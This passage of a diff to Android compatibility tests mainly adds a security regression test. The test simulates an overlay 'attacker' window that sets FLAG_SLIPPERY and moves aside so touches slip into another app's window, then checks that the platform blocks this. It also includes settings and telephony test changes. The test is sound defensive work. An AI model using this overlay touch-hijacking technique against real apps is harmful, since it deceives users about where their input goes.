+ val y = location[1] + v.height / 2f
+ return Pair(x, y)
+}
+
+private fun assertAction(action: Int, event: MotionEvent?) {
+ if (event == null) {
+ fail("Expected ${MotionEvent.actionToString(action)}, but got a null event instead")
+ return
+ }
+ assertEquals("Expected ${MotionEvent.actionToString(action)}, but received " +
+ "${MotionEvent.actionToString(event.action)}", action, event.action)
+}
+
+private class SurfaceCreatedCallback(created: CountDownLatch) : SurfaceHolder.Callback {
+ private val surfaceCreated = created
+ override fun surfaceCreated(holder: SurfaceHolder) {
+ surfaceCreated.countDown()
+ }
+
+ override fun surfaceDestroyed(holder: SurfaceHolder) {}
+
+ override fun surfaceChanged(holder: SurfaceHolder, format: Int, width: Int, height: Int) {}
+}
+
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+/**
+ * Non-system windows cannot use FLAG_SLIPPERY. In this test, we test that if a window specifies
+ * this flag, then the flag is dropped.
+ * It's not sufficient to simply check that the flag is dropped, so we test the actual behaviour of
+ * the windows.
+ * There are 2 windows in this test:
+ * 1) The bottom activity, which is full screen. It's called 'SlipperyEnterBottomActivity' because
+ * the touch will enter this activity from the slippery window
+ * 2) The top window, 'topView' (or 'surfaceView'/'embeddedView'). This is the window that specifies
+ * the FLAG_SLIPPERY in its layout params. We could also call it 'SlipperyExit' window, because
+ * the touch will exit from this window if the slippery behaviour is enabled.
+ *
+ * The test does the following:
+ * 1) Inject DOWN event to the slippery (top) window. When the top window receives the DOWN event,
+ * it moves itself out of the way, so that the user effectively sees that the finger is over the
+ * bottom activity instead.
+ * 2) Inject MOVE event. If the top window were indeed slippery, this MOVE event would end up going
+ * to the bottom activity, and would become a DOWN event instead (since until that point, activity
+ * does not have an active touch stream). However, since we are not allowing this top window to be
+ * slippery, the MOVE event should just continue to be delivered to the top window.
+ * In this test, we are checking that the top window received the MOVE event, and that the bottom
+ * window did not receive any events.
+ *
+ * There are several ways to specify FLAG_SLIPPERY on a window (or a generic entity that receives
+ * touch). These are:
+ * 1) WindowManagerService::addWindow
+ * 2) WindowManagerService::relayoutWindow
+ * 3) WindowManagerService::grantInputChannel
+ *
+ * So we should test all 3 of these approaches. The first 2 are similar, so they share the same
+ * test code. The third approach requires adding an embedded window, and the code for that test was
+ * forked to avoid excessive branching.
+ */
+class FlagSlipperyTest {
+ private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+ private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
+ private lateinit var windowManager: WindowManager
+
+ private val nonSlipperyLayoutParams = WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY,
+ FLAG_NOT_TOUCH_MODAL)
+ private val slipperyLayoutParams = WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY,
+ FLAG_NOT_TOUCH_MODAL or FLAG_SLIPPERY)
+ private val layoutCompleted = AtomicBoolean(false)
+ private val eventsForTopWindow: Queue<MotionEvent> = LinkedBlockingQueue()
+ private var viewToRemove: View? = null
+
+ @get:Rule
+ val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
+ SlipperyEnterBottomActivity::class.java)
+
+ @Before
+ fun setup() {
+ scenario = rule.getScenario()
+ windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+ WindowManager::class.java)
+ setDimensionsToQuarterScreen()
+
+ waitForWindowFocusOnBottomActivity()
+ }
+
+ @After
+ fun tearDown() {
+ eventsForTopWindow.clear()
+ if (viewToRemove != null) {
+ scenario.onActivity {
+ windowManager.removeViewImmediate(viewToRemove)
+ }
+ viewToRemove = null
+ }
+ }
+
+ // ========================== Regular window tests =============================================
+
+ private fun addWindow(slipperyWhenAdded: Boolean): View {
+ val view = View(instrumentation.targetContext)
+ scenario.onActivity {
+ view.setOnTouchListener(OnTouchListener(view))
+ view.setBackgroundColor(android.graphics.Color.RED)
+ layoutCompleted.set(false)
+ view.viewTreeObserver.addOnGlobalLayoutListener {
+ layoutCompleted.set(true)
+ }
+
+ if (slipperyWhenAdded) {
+ windowManager.addView(view, slipperyLayoutParams)
+ } else {
+ // Add the window with non-slippery params, and make it slippery via updateLayout
+ windowManager.addView(view, nonSlipperyLayoutParams)
+ }
+ }
+ waitForLayoutToComplete()
+ if (!slipperyWhenAdded) {
+ scenario.onActivity {
+ layoutCompleted.set(false)
+ windowManager.updateViewLayout(view, slipperyLayoutParams)
+ }
+ }
+ waitForLayoutToComplete()
+ PollingCheck.waitFor {
+ view.hasWindowFocus()
+ }
+ return view
+ }
+
+ private fun testWindowIsNotSlippery(slipperyWhenAdded: Boolean) {
+ // Start overlay (attacker) activity
+ // Attacker: create a window that is slippery and will capture the initial DOWN touch event,
+ // then will move itself out of the way, forcing the next MOVE event to go to the bottom
+ // window
+ val topView = addWindow(slipperyWhenAdded)
+ viewToRemove = topView
+ // Inject motion DOWN into the attacking activity. It will cause the activity to move to
+ // bottom right, which will make the next touch slip into the current window
+ assertBottomWindowDoesNotReceiveSlipperyTouch(topView)
+ }
+
+ /**
+ * Test a top window that tries to set FLAG_SLIPPERY when it is added to WindowManager
+ */
+ @Test
+ @AsbSecurityTest(cveBugId = [157929241])
+ fun testWindowIsNotSlipperyWhenAdded() {
+ testWindowIsNotSlippery(true /* slipperyWhenAdded */)
+ }
+
+ /**
+ * Test a top window that tries to set FLAG_SLIPPERY during relayout
+ */
+ @Test
+ @AsbSecurityTest(cveBugId = [157929241])
+ fun testWindowIsNotSlipperyAfterRelayout() {
+ testWindowIsNotSlippery(false /* slipperyWhenAdded */)
+ }
+
+ // ========================== Embedded window tests ============================================
+ private lateinit var mVr: SurfaceControlViewHost
+
+ private fun addEmbeddedHostWindow(): SurfaceView {
+ val surfaceView = SurfaceView(instrumentation.targetContext)
+ val surfaceCreated = CountDownLatch(1)
+ scenario.onActivity {
+ surfaceView.setZOrderOnTop(true)
+ // The color green should not be visible, but helps debug if there are any layout issues
+ // with the embedded view that will be positioned on top
+ surfaceView.setBackgroundColor(android.graphics.Color.GREEN)
+ surfaceView.viewTreeObserver.addOnGlobalLayoutListener {
+ layoutCompleted.set(true)
+ }
+ surfaceView.getHolder().addCallback(SurfaceCreatedCallback(surfaceCreated))
+ windowManager.addView(surfaceView, slipperyLayoutParams)
+ }
+ waitForLayoutToComplete()
+ surfaceCreated.await()
+ PollingCheck.waitFor {
+ surfaceView.hasWindowFocus()
+ }
+ return surfaceView
+ }
+
+ private fun addEmbeddedView(surfaceView: SurfaceView): View {
+ val embeddedViewDrawn = CountDownLatch(1)
+ val viewDrawnCallback = Runnable {
+ embeddedViewDrawn.countDown()
+ }
+ layoutCompleted.set(false)
+ val embeddedView = View(instrumentation.targetContext)
+ scenario.onActivity {
+ embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
+ embeddedView.setBackgroundColor(android.graphics.Color.RED)
+ embeddedView.viewTreeObserver.addOnGlobalLayoutListener {
+ layoutCompleted.set(true)
+ }
+
+ embeddedView.viewTreeObserver.registerFrameCommitCallback(viewDrawnCallback)
+ mVr = SurfaceControlViewHost(it, it.getDisplay(), surfaceView.getHostToken())
+ mVr.setView(embeddedView, slipperyLayoutParams)
+ surfaceView.setChildSurfacePackage(mVr.getSurfacePackage())
+ embeddedView.invalidate()
+ }
+ embeddedViewDrawn.await()
+ embeddedView.viewTreeObserver.unregisterFrameCommitCallback(viewDrawnCallback)
+ waitForLayoutToComplete()
+ return embeddedView
+ }
+
+ /**
+ * Create an embedded slippery window and ensure it continues to receive touch after it moves
+ * away from the touched position.
+ */
+ @Test
+ @AsbSecurityTest(cveBugId = [157929241])
+ fun testWindowlessWindowIsNotSlippery() {
+ val surfaceView = addEmbeddedHostWindow()
+ viewToRemove = surfaceView
+ // 'embeddedView' variable is used to retain the reference through the end of the test
+ @Suppress("UNUSED_VARIABLE") val embeddedView = addEmbeddedView(surfaceView)
+
+ assertBottomWindowDoesNotReceiveSlipperyTouch(surfaceView)
+ }
+
+ // ========================== Shared utility functions =========================================
+
+ private inner class OnTouchListener(relayoutView: View) : View.OnTouchListener {
+ val relayoutView = relayoutView
+ override fun onTouch(v: View, e: MotionEvent): Boolean {
+ if (e.action == MotionEvent.ACTION_DOWN) {
+ // Move the window out of the way by changing the gravity to bottom right
+ val wmlp = WindowManager.LayoutParams()
+ wmlp.copyFrom(slipperyLayoutParams)
+ wmlp.gravity = Gravity.BOTTOM or Gravity.RIGHT
+ layoutCompleted.set(false)
+ // Cannot always call 'updateViewLayout' for the incoming view, because in the
+ // embedded case, the provided embedded view is not attached to the window manager
+ // (and will therefore crash). Just use the view provided in the constructor.
+ windowManager.updateViewLayout(relayoutView, wmlp)
+ return true
+ }
+ eventsForTopWindow.add(MotionEvent.obtain(e))
+ return true
+ }
+ }
+
+ private fun assertBottomWindowDoesNotReceiveSlipperyTouch(topView: View) {
+ // Inject motion DOWN into the top view / window. It will cause the window to move to
+ // bottom right, which will make the next touch slip into the current window if the top
+ // window is actually slippery
+ val (x, y) = getViewCenterOnScreen(topView)
+ val downTime = SystemClock.uptimeMillis()
+ sendEvent(downTime, MotionEvent.ACTION_DOWN, x, y)
+ waitForLayoutToComplete()
+ sendEvent(downTime, MotionEvent.ACTION_MOVE, x + 1, y + 1)
+ scenario.onActivity {
+ // Bottom activity should not get any events
+ assertNull(it.getEvent())
+ // Top window should continue getting events.
+ assertAction(MotionEvent.ACTION_MOVE, eventsForTopWindow.poll())
+ assertNull(eventsForTopWindow.poll())
+ }
+ }
+
+ /**
+ * Wait until the bottom activity has window focus
+ */
+ private fun waitForWindowFocusOnBottomActivity() {
+ PollingCheck.waitFor {
+ var activityHasWindowFocus = AtomicBoolean(false)
+ scenario.onActivity { activity -> run {
+ activityHasWindowFocus.set(activity.hasWindowFocus())
+ }
+ }
+ activityHasWindowFocus.get()
+ }
+ }
+
+ private fun waitForLayoutToComplete() {
+ PollingCheck.waitFor {
+ layoutCompleted.get()
+ }
+ instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+ }
+
+ private fun setDimensionsToQuarterScreen() {
+ val bounds: Rect = windowManager.currentWindowMetrics.bounds
+ val width = (bounds.right - bounds.left) / 4
+ val height = (bounds.bottom - bounds.top) / 4
+ slipperyLayoutParams.width = width
+ slipperyLayoutParams.height = height
+ nonSlipperyLayoutParams.width = width
+ nonSlipperyLayoutParams.height = height
+ }
+
+ private fun sendEvent(downTime: Long, action: Int, x: Float, y: Float) {
+ val eventTime = when (action) {
+ MotionEvent.ACTION_DOWN -> downTime
+ else -> SystemClock.uptimeMillis()
+ }
+ val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
+ event.source = InputDevice.SOURCE_TOUCHSCREEN
+ instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+ }
+
+ companion object {
+ private val TAG = "FlagSlipperyTest"
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index f7d3edc..c291ee4 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -34,10 +34,10 @@
import android.view.ViewGroup;
import android.view.WindowManager;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
@@ -226,7 +226,7 @@
}
private boolean isRunningInVR() {
- final Context context = InstrumentationRegistry.getTargetContext();
+ final Context context = mInstrumentation.getTargetContext();
return (context.getResources().getConfiguration().uiMode &
Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
}
diff --git a/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt b/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt
new file mode 100644
index 0000000..cf1a2d2
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SlipperyEnterBottomActivity.kt
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.app.Activity
+import android.view.MotionEvent
+
+import java.util.concurrent.LinkedBlockingQueue
+import java.util.Queue
+
+class SlipperyEnterBottomActivity : Activity() {
+ companion object {
+ private const val TAG = "SlipperyEnterBottomActivity"
+ }
+ private val eventQueue: Queue<MotionEvent> = LinkedBlockingQueue()
+
+ override fun onTouchEvent(motionEvent: MotionEvent): Boolean {
+ eventQueue.add(MotionEvent.obtain(motionEvent))
+ return true
+ }
+
+ fun getEvent(): MotionEvent? {
+ return eventQueue.poll()
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index 6342bf4..fb5d621 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -43,7 +43,9 @@
mContext = InstrumentationRegistry.getInstrumentation().getContext();
// This feature name check only applies to devices that first shipped with
// SC or later.
- if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+ final int firstApiLevel =
+ Math.min(PropertyUtil.getFirstApiLevel(), PropertyUtil.getVendorApiLevel());
+ if (firstApiLevel >= Build.VERSION_CODES.S) {
// Assumes every test in this file asserts a requirement of CDD section 9.
assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
mContext.getPackageManager()
diff --git a/tests/tests/settings/Android.bp b/tests/tests/settings/Android.bp
index 246e3fd..b1a443e 100644
--- a/tests/tests/settings/Android.bp
+++ b/tests/tests/settings/Android.bp
@@ -17,12 +17,20 @@
static_libs: [
"androidx.slice_slice-core",
"androidx.slice_slice-view",
+ "androidx.test.core",
"ctstestrunner-axt",
"junit",
+ "kotlin-stdlib",
"truth-prebuilt",
+ "ctsWindowExtLib",
],
srcs: ["src/**/*.java"],
sdk_version: "test_current",
}
+
+android_library_import {
+ name: "ctsWindowExtLib",
+ aars: ["libs/cts_window_ext_lib.aar"],
+}
diff --git a/tests/tests/settings/AndroidManifest.xml b/tests/tests/settings/AndroidManifest.xml
index 9225b6a..007b36d 100644
--- a/tests/tests/settings/AndroidManifest.xml
+++ b/tests/tests/settings/AndroidManifest.xml
@@ -20,9 +20,20 @@
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <uses-permission android:name="android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK"/>
<application>
<uses-library android:name="android.test.runner"/>
+ <uses-library android:name="androidx.window.extensions" android:required="false"/>
+ <uses-library android:name="androidx.window.sidecar" android:required="false"/>
+
+ <activity android:name=".RightPaneActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.settings.cts.LAUNCH_RIGHT_PANE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/settings/libs/cts_window_ext_lib.aar b/tests/tests/settings/libs/cts_window_ext_lib.aar
new file mode 100644
index 0000000..ca58b36
--- /dev/null
+++ b/tests/tests/settings/libs/cts_window_ext_lib.aar
Binary files differ
diff --git a/tests/tests/settings/src/android/settings/cts/RightPaneActivity.java b/tests/tests/settings/src/android/settings/cts/RightPaneActivity.java
new file mode 100644
index 0000000..86391e7
--- /dev/null
+++ b/tests/tests/settings/src/android/settings/cts/RightPaneActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.settings.cts;
+
+import android.app.Activity;
+import android.provider.Settings;
+
+/**
+ * For SettingsMultiPaneDeepLinkTest to test if
+ * {@link Settings#ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY}
+ */
+public class RightPaneActivity extends Activity {
+}
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
new file mode 100644
index 0000000..b6103c8
--- /dev/null
+++ b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.settings.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.Instrumentation.ActivityMonitor;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.window.embedding.SplitController;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests to ensure the Activity to handle
+ * {@link Settings#ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY}
+ */
+@RunWith(AndroidJUnit4.class)
+public class SettingsMultiPaneDeepLinkTest {
+
+ private static final String DEEP_LINK_PERMISSION =
+ "android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK";
+
+ boolean mIsSplitSupported;
+ ResolveInfo mDeepLinkIntentResolveInfo;
+
+ @Before
+ public void setUp() throws Exception {
+ // runOnMainSync or SplitController#isSplitSupported will return wrong value for large
+ // screen devices.
+ InstrumentationRegistry.getInstrumentation().runOnMainSync(new Runnable() {
+ @Override
+ public void run() {
+ mIsSplitSupported = SplitController.getInstance().isSplitSupported();
+ }
+ });
+ mDeepLinkIntentResolveInfo = InstrumentationRegistry.getInstrumentation().getContext()
+ .getPackageManager().resolveActivity(
+ new Intent(Settings.ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY),
+ /* flags= */ PackageManager.MATCH_DEFAULT_ONLY);
+
+ assumeFalse("Skipping test: The device does not support Activity embedding",
+ !mIsSplitSupported && mDeepLinkIntentResolveInfo == null);
+ }
+
+ @Test
+ public void deepLinkHomeActivity_protectedWithPermission() throws Exception {
+ assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+ + " be protected by " + DEEP_LINK_PERMISSION,
+ DEEP_LINK_PERMISSION.equals(mDeepLinkIntentResolveInfo.activityInfo.permission));
+ }
+
+ @Test
+ public void deepLinkHomeActivity_splitSupported_deepLinkHomeEnabled() throws Exception {
+ assumeTrue(mIsSplitSupported);
+
+ assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+ + " be enabled when the device supports Activity embedding",
+ mDeepLinkIntentResolveInfo != null);
+ }
+
+ @Test
+ public void deepLinkHomeActivity_splitNotSupported_deepLinkHomeDisabled() throws Exception {
+ assumeFalse(mIsSplitSupported);
+
+ assertTrue("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY must"
+ + " be disabled when the device does NOT support Activity embedding",
+ mDeepLinkIntentResolveInfo == null);
+ }
+
+ @Test
+ public void deepLinkHomeActivity_receiveMultiPaneDeepLinkIntent_shouldStartActivity()
+ throws Exception {
+ Intent intent = new Intent(Settings.ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY);
+ intent.putExtra(Settings.EXTRA_SETTINGS_EMBEDDED_DEEP_LINK_INTENT_URI,
+ new Intent("android.settings.cts.LAUNCH_RIGHT_PANE")
+ .toUri(Intent.URI_INTENT_SCHEME));
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ ActivityMonitor am = instrumentation.addMonitor(RightPaneActivity.class.getName(),
+ /* result */ null, /* block */ false);
+
+ // Take the Shell UID permission identity because Shell app has the permission
+ // android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK.
+ instrumentation.getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ instrumentation.getContext()
+ .startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+ } finally {
+ // Drop the Shell UID permission identity.
+ instrumentation.getUiAutomation().dropShellPermissionIdentity();
+ }
+
+ Activity rightPaneActivity = am.waitForActivityWithTimeout(5000);
+ assertNotNull("The Activity to handle the Intent ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY"
+ + " must start Activity for EXTRA_SETTINGS_EMBEDDED_DEEP_LINK_INTENT_URI",
+ rightPaneActivity);
+ rightPaneActivity.finish();
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
index 52ef750..cb2ecd5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
@@ -32,6 +32,8 @@
import android.os.Bundle;
import android.telecom.TelecomManager;
+import androidx.test.InstrumentationRegistry;
+
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
@@ -107,7 +109,11 @@
TelecomManager.TTY_MODE_FULL);
try {
- runWithShellPermissionIdentity(() -> mContext.sendBroadcast(changePreferredTtyMode));
+ // Hold SHELL permission identity to ensure CTS tests have READ_PRIVILEGED_PHONE_STATE
+ // during delivery of ACTION_CURRENT_TTY_MODE_CHANGED.
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity();
+ mContext.sendBroadcast(changePreferredTtyMode);
Intent intent = ttyModeQueue.poll(
TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
assertTrue(intent.hasExtra(TelecomManager.EXTRA_CURRENT_TTY_MODE));
@@ -120,7 +126,9 @@
new Intent(TelecomManager.ACTION_TTY_PREFERRED_MODE_CHANGED);
revertPreferredTtyMode.putExtra(TelecomManager.EXTRA_TTY_PREFERRED_MODE,
TelecomManager.TTY_MODE_OFF);
- runWithShellPermissionIdentity(() -> mContext.sendBroadcast(revertPreferredTtyMode));
+ mContext.sendBroadcast(revertPreferredTtyMode);
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 740a0c7..722cdae 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -1973,14 +1973,16 @@
}
String[] originalFplmns = mTelephonyManager.getForbiddenPlmns();
try {
- int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(FPLMN_TEST);
+ int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(FPLMN_TEST));
String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
assertEquals("Wrong return value for setFplmns with less than required fplmns: "
+ numFplmnsSet, FPLMN_TEST.size(), numFplmnsSet);
assertEquals("Wrong Fplmns content written", FPLMN_TEST, Arrays.asList(writtenFplmns));
} finally {
// Restore
- mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
}
}
@@ -2002,7 +2004,8 @@
for (int i = MIN_FPLMN_NUM; i < MAX_FPLMN_NUM; i++) {
targetFplmns.add(PLMN_B);
}
- int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(targetFplmns);
+ int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetFplmns));
String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
assertTrue("Wrong return value for setFplmns with overflowing fplmns: " + numFplmnsSet,
numFplmnsSet < MAX_FPLMN_NUM);
@@ -2012,7 +2015,8 @@
Arrays.asList(writtenFplmns));
} finally {
// Restore
- mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
}
}
@@ -2031,19 +2035,22 @@
for (int i = 0; i < MIN_FPLMN_NUM; i++) {
targetDummyFplmns.add(PLMN_A);
}
- mTelephonyManager.setForbiddenPlmns(targetDummyFplmns);
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetDummyFplmns));
String[] writtenDummyFplmns = mTelephonyManager.getForbiddenPlmns();
assertEquals(targetDummyFplmns, Arrays.asList(writtenDummyFplmns));
List<String> targetFplmns = new ArrayList<>();
- int numFplmnsSet = mTelephonyManager.setForbiddenPlmns(targetFplmns);
+ int numFplmnsSet = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(targetFplmns));
String[] writtenFplmns = mTelephonyManager.getForbiddenPlmns();
assertEquals("Wrong return value for setFplmns with empty list", 0, numFplmnsSet);
assertEquals("Wrong number of Fplmns written", 0, writtenFplmns.length);
// TODO wait for 10 minutes or so for the FPLMNS list to grow back
} finally {
// Restore
- mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
}
}
@@ -2058,12 +2065,14 @@
}
String[] originalFplmns = mTelephonyManager.getForbiddenPlmns();
try {
- mTelephonyManager.setForbiddenPlmns(null);
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(null));
fail("Expected IllegalArgumentException. Null input is not allowed");
} catch (IllegalArgumentException expected) {
} finally {
// Restore
- mTelephonyManager.setForbiddenPlmns(Arrays.asList(originalFplmns));
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.setForbiddenPlmns(Arrays.asList(originalFplmns)));
}
}
@@ -3324,6 +3333,19 @@
TelephonyManager.SIM_STATE_NOT_READY,
TelephonyManager.SIM_STATE_PERM_DISABLED,
TelephonyManager.SIM_STATE_LOADED).contains(simApplicationState));
+
+ for (int i = 0; i <= mTelephonyManager.getPhoneCount(); i++) {
+ final int slotId = i;
+ simApplicationState = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.getSimApplicationState(slotId));
+ assertTrue(Arrays.asList(TelephonyManager.SIM_STATE_UNKNOWN,
+ TelephonyManager.SIM_STATE_PIN_REQUIRED,
+ TelephonyManager.SIM_STATE_PUK_REQUIRED,
+ TelephonyManager.SIM_STATE_NETWORK_LOCKED,
+ TelephonyManager.SIM_STATE_NOT_READY,
+ TelephonyManager.SIM_STATE_PERM_DISABLED,
+ TelephonyManager.SIM_STATE_LOADED).contains(simApplicationState));
+ }
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
index b20ea16..ea46c9b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
@@ -160,11 +160,9 @@
// the CarrierConfig override (as it will override the existing shell permissions).
if (isShell) {
configManager.overrideConfig(subId, carrierConfigs);
- configManager.notifyConfigChangedForSubId(subId);
} else {
runWithShellPermissionIdentity(() -> {
configManager.overrideConfig(subId, carrierConfigs);
- configManager.notifyConfigChangedForSubId(subId);
}, android.Manifest.permission.MODIFY_PHONE_STATE);
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index 3a63d1d..d4386ff 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
